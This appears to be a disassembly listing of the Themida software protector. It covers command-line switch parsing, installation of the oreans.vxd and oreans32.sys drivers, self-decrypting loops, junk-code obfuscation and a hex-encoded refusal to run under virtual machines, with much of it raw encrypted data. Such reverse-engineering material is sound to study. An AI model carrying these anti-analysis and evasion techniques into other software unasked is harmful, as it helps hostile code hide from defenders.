		dd 585BD3FFh, 81F88B66h, 87928EF7h, 0E8C08B58h,	7, 0F8A7A677h
		dd 0E8326F23h, 10h, 0BB4E91D4h,	0F810A070h, 205A4312h
		dd 3624B688h, 5A64C680h, 811BB558h, 689EC0h, 8F0F5200h
		dd 6, 10758589h, 335E0AE3h, 0C98D8BDBh,	8B0AE305h, 0BD89183Ch
		dd 0AE320E5h, 0FD09C781h, 8D8B2F64h, 0AE3330Dh,	0C87CC781h
		dd 0B966171Ch, 0EF81FFCEh, 411F80ADh, 0D4B3EE81h, 3C891B2Ah
		dd 0DB96618h, 9D8950A4h, 0AE32F21h, 1EB835Ah, 77D6B966h
		dd 0B14B4B4Bh, 1CFB8163h, 0FFFFF98h, 1185h, 65BD8900h
		dd 0E90AE319h, 22h, 0D276976Eh,	8D0BCA97h, 0AE321A5h, 0FFFF92E9h
		dd 0FA4C1BFFh, 794EBF76h, 791BA74Fh, 0A02550D2h, 99E9C8BFh
		dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h
		dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h
		dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h
		dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h
		dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h
		dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h
		dd 706D7564h, 74617473h, 7375h,	2F000000h, 63656863h, 6F72706Bh
		dd 74636574h, 6E6F69h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+0AE5E5F5h], 0
		jz	loc_5B0B17
		mov	dword ptr [ebp+0AE3198Dh], 1


loc_5B0B17:				; CODE XREF: Themida_:005B0B07j
		mov	byte ptr [ebp+0AE31CF1h], 47h
		push	0E90A1BC0h
		xor	dword ptr [esp], 7967774Dh
		push	dword ptr [ebp+0AE33145h]
		lea	eax, [ebp+0AE33AF9h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5B0B67
		inc	edi
		mov	al, 22h


loc_5B0B48:				; CODE XREF: Themida_:005B0B49j
		scasb
		jnz	loc_5B0B48
		cmp	byte ptr [edi],	0
		jz	loc_5B0E73
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5B0E73
		jmp	loc_5B0B85
; ---------------------------------------------------------------------------


loc_5B0B67:				; CODE XREF: Themida_:005B0B3Fj
					; Themida_:005B0B80j
		cmp	byte ptr [edi],	0
		jz	loc_5B0E73
		cmp	byte ptr [edi],	20h
		jnz	loc_5B0B7F
		inc	edi
		jmp	loc_5B0B85
; ---------------------------------------------------------------------------


loc_5B0B7F:				; CODE XREF: Themida_:005B0B73j
		inc	edi
		jmp	loc_5B0B67
; ---------------------------------------------------------------------------


loc_5B0B85:				; CODE XREF: Themida_:005B0B62j
					; Themida_:005B0B7Aj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5B0B93
		jmp	loc_5B0E73
; ---------------------------------------------------------------------------


loc_5B0B93:				; CODE XREF: Themida_:005B0B88j
		jmp	loc_5B0B99
; ---------------------------------------------------------------------------


loc_5B0B98:				; CODE XREF: Themida_:005B0B9Cj
		inc	edi


loc_5B0B99:				; CODE XREF: Themida_:loc_5B0B93j
		cmp	byte ptr [edi],	20h
		jz	loc_5B0B98
		cmp	byte ptr [edi],	0
		jnz	loc_5B0BB0
		jmp	loc_5B0E73
; ---------------------------------------------------------------------------


loc_5B0BB0:				; CODE XREF: Themida_:005B0BA5j
		call	sub_5B0BBF
		jmp	loc_5B0B85
; ---------------------------------------------------------------------------
		jmp	loc_5B0E73

; =============== S U B	R O U T	I N E =======================================



sub_5B0BBF	proc near		; CODE XREF: Themida_:loc_5B0BB0p
		lea	esi, [ebp+0AE5E575h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0BE8
		mov	dword ptr [ebp+0AE32569h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B0BE8:				; CODE XREF: sub_5B0BBF+18j
		lea	esi, [ebp+0AE5E580h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0C11
		mov	dword ptr [ebp+0AE3198Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_5B0C11:				; CODE XREF: sub_5B0BBF+41j
		lea	esi, [ebp+0AE5E5F9h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0C3A
		mov	dword ptr [ebp+0AE33161h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B0C3A:				; CODE XREF: sub_5B0BBF+6Aj
		lea	esi, [ebp+0AE5E58Ah]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0C63
		mov	dword ptr [ebp+0AE3198Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_5B0C63:				; CODE XREF: sub_5B0BBF+93j
		lea	esi, [ebp+0AE5E594h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0C96
		mov	dword ptr [ebp+0AE3198Dh], 1
		mov	dword ptr [ebp+0AE32569h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B0C96:				; CODE XREF: sub_5B0BBF+BCj
		lea	esi, [ebp+0AE5E5A2h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0CBE
		mov	dword ptr [ebp+0AE30351h], 1


loc_5B0CBE:				; CODE XREF: sub_5B0BBF+EFj
		lea	esi, [ebp+0AE5E5ACh]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0CE6
		mov	dword ptr [ebp+0AE30351h], 1


loc_5B0CE6:				; CODE XREF: sub_5B0BBF+117j
		lea	esi, [ebp+0AE5E5B7h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0D0E
		mov	dword ptr [ebp+0AE32D19h], 1


loc_5B0D0E:				; CODE XREF: sub_5B0BBF+13Fj
		lea	esi, [ebp+0AE5E5BDh]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0D36
		mov	dword ptr [ebp+0AE30421h], 1


loc_5B0D36:				; CODE XREF: sub_5B0BBF+167j
		lea	esi, [ebp+0AE5E5C3h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0D5E
		mov	dword ptr [ebp+0AE32D81h], 1


loc_5B0D5E:				; CODE XREF: sub_5B0BBF+18Fj
		lea	esi, [ebp+0AE5E5D1h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0D86
		mov	dword ptr [ebp+0AE328F9h], 1


loc_5B0D86:				; CODE XREF: sub_5B0BBF+1B7j
		lea	esi, [ebp+0AE5E5DEh]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0DAE
		mov	dword ptr [ebp+0AE32951h], 1


loc_5B0DAE:				; CODE XREF: sub_5B0BBF+1DFj
		lea	esi, [ebp+0AE5E5E9h]
		call	sub_5B0DEF
		add	edi, [ebp+0AE5E60Ah]
		cmp	dword ptr [ebp+0AE5E60Ah], 0
		jz	loc_5B0DD6
		mov	dword ptr [ebp+0AE32539h], 1


loc_5B0DD6:				; CODE XREF: sub_5B0BBF+207j
		jmp	loc_5B0DDC
; ---------------------------------------------------------------------------


loc_5B0DDB:				; CODE XREF: sub_5B0BBF+229j
		inc	edi


loc_5B0DDC:				; CODE XREF: sub_5B0BBF:loc_5B0DD6j
		cmp	byte ptr [edi],	20h
		jz	locret_5B0DEE
		cmp	byte ptr [edi],	0
		jnz	loc_5B0DDB

locret_5B0DEE:				; CODE XREF: sub_5B0BBF+220j
		retn
sub_5B0BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_5B0DEF	proc near		; CODE XREF: sub_5B0BBF+6p
					; sub_5B0BBF+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5B0E18
; ---------------------------------------------------------------------------


loc_5B0DFC:				; CODE XREF: sub_5B0DEF+34j
		cmp	byte ptr [edi],	0
		jnz	loc_5B0E0A
		mov	ecx, 0


loc_5B0E0A:				; CODE XREF: sub_5B0DEF+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5B0E16
		sub	ecx, ecx


loc_5B0E16:				; CODE XREF: sub_5B0DEF+1Fj
		inc	esi
		inc	edi


loc_5B0E18:				; CODE XREF: sub_5B0DEF+8j
		cmp	byte ptr [esi],	0
		jz	loc_5B0E29
		or	ecx, ecx
		jnz	loc_5B0DFC


loc_5B0E29:				; CODE XREF: sub_5B0DEF+2Cj
		or	ecx, ecx
		jz	loc_5B0E52
		cmp	byte ptr [edi],	0
		jz	loc_5B0E43
		cmp	byte ptr [edi],	20h
		jnz	loc_5B0E4D


loc_5B0E43:				; CODE XREF: sub_5B0DEF+45j
		mov	ecx, 1
		jmp	loc_5B0E52
; ---------------------------------------------------------------------------


loc_5B0E4D:				; CODE XREF: sub_5B0DEF+4Ej
		mov	ecx, 0


loc_5B0E52:				; CODE XREF: sub_5B0DEF+3Cj
					; sub_5B0DEF+59j
		or	ecx, ecx
		jz	loc_5B0E67
		sub	esi, ebx
		mov	[ebp+0AE5E60Ah], esi
		jmp	loc_5B0E71
; ---------------------------------------------------------------------------


loc_5B0E67:				; CODE XREF: sub_5B0DEF+65j
		mov	dword ptr [ebp+0AE5E60Ah], 0


loc_5B0E71:				; CODE XREF: sub_5B0DEF+73j
		popa
		retn
sub_5B0DEF	endp

; ---------------------------------------------------------------------------


loc_5B0E73:				; CODE XREF: Themida_:005B0B52j
					; Themida_:005B0B5Cj ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5B0E8A
		mov	dword ptr [ebp+0AE30351h], 0


loc_5B0E8A:				; CODE XREF: Themida_:005B0E7Aj
		mov	ecx, eax
		jmp	loc_5B109F
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B109F:				; CODE XREF: Themida_:005B0E8Cj
		jmp	loc_5B1193
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+0AE31CF1h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+0AE33145h]
		lea	eax, [ebp+0AE33AF9h]
		call	eax
		push	104h
		lea	ebx, [ebp+0AE323DDh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+0AE5EB97h]
		mov	edi, esi
		xor	al, al


loc_5B10D7:				; CODE XREF: Themida_:005B10D8j
		scasb
		jnz	loc_5B10D7
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+0AE31CF1h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+0AE33145h]
		lea	eax, [ebp+0AE33AF9h]
		call	eax
		lea	esi, [ebp+0AE323DDh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+0AE31CF1h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+0AE33145h]
		lea	eax, [ebp+0AE33AF9h]
		call	eax
		lea	edi, [ebp+0AE316A9h]
		lea	ecx, [ebp+0AE5ECBDh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5B1175
		lea	esi, [ebp+0AE5E99Fh]
		lea	eax, [ebp+0AE5D795h]
		call	eax
		lea	ecx, [ebp+0AE37204h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5B1175:				; CODE XREF: Themida_:005B1154j
		mov	byte ptr [ebp+0AE31CF1h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+0AE33145h]
		lea	eax, [ebp+0AE33AF9h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5B1193:				; CODE XREF: Themida_:loc_5B109Fj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5B11AA
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5B11AA:				; CODE XREF: Themida_:005B11A3j
		jmp	loc_5B497F
; ---------------------------------------------------------------------------
		db 4Dh
		dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_5B4954
		xor	eax, eax
		jmp	short locret_5B496E
; ---------------------------------------------------------------------------


loc_5B4954:				; CODE XREF: Themida_:005B494Ej
		cmp	dword ptr [esi+0Ch], 1
		jnz	short locret_5B496E
		lea	eax, large ds:0
		mov	edi, [esi+18h]
		mov	[edi], eax
		mov	dword ptr [esi+20h], 4
		xor	eax, eax

locret_5B496E:				; CODE XREF: Themida_:005B4952j
					; Themida_:005B4958j
		retn
; ---------------------------------------------------------------------------
		db 0Ch
aXprotvxd_ddb	db 'XPROTVXD_DDB',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B497F:				; CODE XREF: Themida_:loc_5B11AAj
		call	near ptr loc_5B4997+1
		mov	eax, ds:2101497Dh
		popf
		xor	eax, 10568921h
		push	ds
		mov	bh, 1Ah
		adc	eax, 759850Ch


loc_5B4997:				; CODE XREF: Themida_:loc_5B497Fp
		mov	bl, 0Fh
		test	ds:0BF000000h, eax
		or	ah, [edx]
		fild	qword ptr [esi]
		pop	ebx
		jbe	loc_5B49AB
		cld


loc_5B49AB:				; CODE XREF: Themida_:005B49A4j
		add	ebx, 61A6h
		mov	edx, 0DD2009Ah
		xor	eax, eax
		adc	ecx, 544BDAFDh


loc_5B49BE:				; CODE XREF: Themida_:005B4A07j
		push	dword ptr [eax+ebx]
		mov	[ebp+0AE325C5h], edi
		pop	esi
		add	[ebp+0AE332CDh], ecx
		sub	esi, 4F56E780h
		mov	[ebp+0AE31B75h], esi
		xor	esi, 3624B60Fh
		mov	[ebp+0AE30A81h], ebx
		sub	esi, 3E452A2Ch
		mov	ecx, 0BCAD54Eh
		mov	[ebx+eax], esi
		mov	dx, 0B6AAh
		movsx	ecx, dx
		sub	eax, 4
		movzx	edx, ax
		cmp	eax, 0FFFF9EE4h
		jnz	loc_5B49BE
		mov	edi, 2D1235BFh
		jmp	loc_5B5ACE
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
		dd 3220h, 1Dh dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_5B5ACE:				; CODE XREF: Themida_:005B4A12j
		mov	eax, esp
		sub	[ebp+0AE32D15h], eax
		mov	[ebp+0AE32261h], eax
		push	0
		push	ebp
		call	sub_5B5AE7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5AE7	proc near		; CODE XREF: Themida_:005B5ADFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B5AE7	endp

; ---------------------------------------------------------------------------
		xor	[esi+29859529h], esp
		jecxz	short near ptr loc_5B5B07+2
		mov	[ebp+0AE31EA1h], edi
		mov	eax, eax


loc_5B5B07:				; CODE XREF: Themida_:005B5AFDj
		mov	ecx, [ebp+0AE301E9h]
		cmp	dword ptr [ebp+0AE32569h], 0
		jnz	short loc_5B5B1F
		cmp	dword ptr [ebp+0AE3198Dh], 0
		jz	short loc_5B5B38


loc_5B5B1F:				; CODE XREF: Themida_:005B5B14j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+0AE32D95h], eax
		lea	ebx, [ebp+0AE5DDC5h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B5B38:				; CODE XREF: Themida_:005B5B1Dj
		cmp	dword ptr [ebp+0AE3198Dh], 0
		jz	short loc_5B5B58
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+0AE32D95h], eax
		lea	ebx, [ebp+0AE5DAB4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B5B58:				; CODE XREF: Themida_:005B5B3Fj
		push	0
		push	esi
		call	sub_5B5B63
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5B63	proc near		; CODE XREF: Themida_:005B5B5Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B5B63	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 0C056F954h, 604E0F32h, 1D0BF381h, 5E81531h, 64000000h
		dd 89F2BC10h, 0AE8615Ah, 95000000h, 0D962774Eh,	8E095B10h
		dd 15830F3Ah, 0E9000000h, 10h, 0B23A56A3h, 261A9EDFh, 0A9AB8FBEh
		dd 6515CD7Ch, 8AC08B59h, 8BC08BD5h, 0E31EA195h,	69BD830Ah
		dd 0AE325h, 0BD830975h,	0AE3198Dh, 50137400h, 0B8C08B53h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+0AE5DC67h]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+0AE3198Dh], 0
		jz	short loc_5B5C04
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+0AE5DB18h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B5C04:				; CODE XREF: Themida_:005B5BF1j
		push	eax
		mov	edi, ecx
		pop	ecx
		push	0
		push	ebp
		call	sub_5B5C13
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5C13	proc near		; CODE XREF: Themida_:005B5C0Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B5C13	endp

; ---------------------------------------------------------------------------
		db 0A9h
		dd 0A47BC129h, 316BAE54h, 14E9h, 0F38E6000h, 9827AD3Ah
		dd 0D087527Ch, 8AEF54F3h, 11533DE2h, 80C08B81h,	8B66E1EDh
		dd 0FC08BC8h, 1784h, 12E900h, 0B3B50000h, 9D5AFEB2h, 2100F520h
		dd 0D276976Eh, 0DD1CA97h, 2569BD83h, 75000AE3h,	8DBD8309h
		dd 0AE319h, 53501374h, 0B8C08Bh, 8D000000h, 0E5DB999Dh
		dd 5BD3FF0Ah, 8DBD8358h, 0AE319h, 53501174h, 0B8h, 0E69D8D00h
		dd 0FF0AE5DAh, 52585BD3h, 271B589h, 665A0AE3h, 8B6CBBB9h
		dd 0ADB589C0h, 0F0AE330h, 0C08BF9B7h, 2C41BD2Bh, 0BD830AE3h
		dd 0AE32569h, 83097500h, 0E3198DBDh, 1374000Ah,	0C08B5350h
		dd 0B8h, 9D8D00h, 0FF0AE5DCh, 83585BD3h, 0E3198DBDh, 1174000Ah
		dd 0B85350h, 8D000000h,	0E5DAFF9Dh, 5BD3FF0Ah, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0EA8111C5h, 7D88795Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 2CC35141h, 0FEF120Ch,	7E9D0B7h, 2000000h
		dd 1BE2B09Ch, 0C08BFB2Ah, 0CAD28166h, 6AC08BE5h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0EFA2C351h, 0DA3B5748h, 0BD8385E7h, 0AE32569h, 83097500h
		dd 0E3198DBDh, 1374000Ah, 0C08B5350h, 0B8h, 329D8D00h
		dd 0FF0AE5DBh, 8B585BD3h, 0CF8B66C8h, 0D781C08Bh, 3D83F520h
		dd 1F899D89h, 0C08B0AE3h, 0ABA36DBFh, 958B6004h, 0AE32545h
		dd 6162E780h, 2569BD83h, 75000AE3h, 8DBD8309h, 0AE319h
		dd 53501974h, 0D0B8C08Bh, 89000007h, 0E32D9585h, 0C59D8D0Ah
		dd 0FF0AE5DDh, 83585BD3h, 0E3198DBDh, 1774000Ah, 0D0B85350h
		dd 89000007h, 0E32D9585h, 0B49D8D0Ah, 0FF0AE5DAh, 23585BD3h
		dd 0E3292595h, 85BD8B0Ah, 0B90AE319h, 53C29EF9h, 8589C08Bh
		dd 0AE317B1h, 1CF185C6h, 66530AE3h, 841BE281h, 395F9068h
		dd 9E999h, 5D330000h, 0BC365167h, 0FF2807B8h, 0E33145B5h
		dd 8DD18A0Ah, 0E33AF985h, 50006A0Ah, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0B3980475h
		dd 1840Fh, 0FFF80000h, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0A73C94D1h, 0D1811EBEh
		dd 13EE689Dh, 26B58589h, 8D010AE3h, 0AE30271h, 1CF185C6h
		dd 29570AE3h, 0E311559Dh, 5206680Ah, 81669004h,	0FF686FD9h
		dd 0E33145B5h, 0F5B5890Ah, 8D0AE31Fh, 0E33AF985h, 53006A0Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FFA149DDh, 0F3E9BFD0h, 0F98B147Ah, 7D8589h,	8B660AE3h
		dd 0F185C6FEh, 430AE31Ch, 68D7B70Fh, 0BC907028h, 79DEB966h
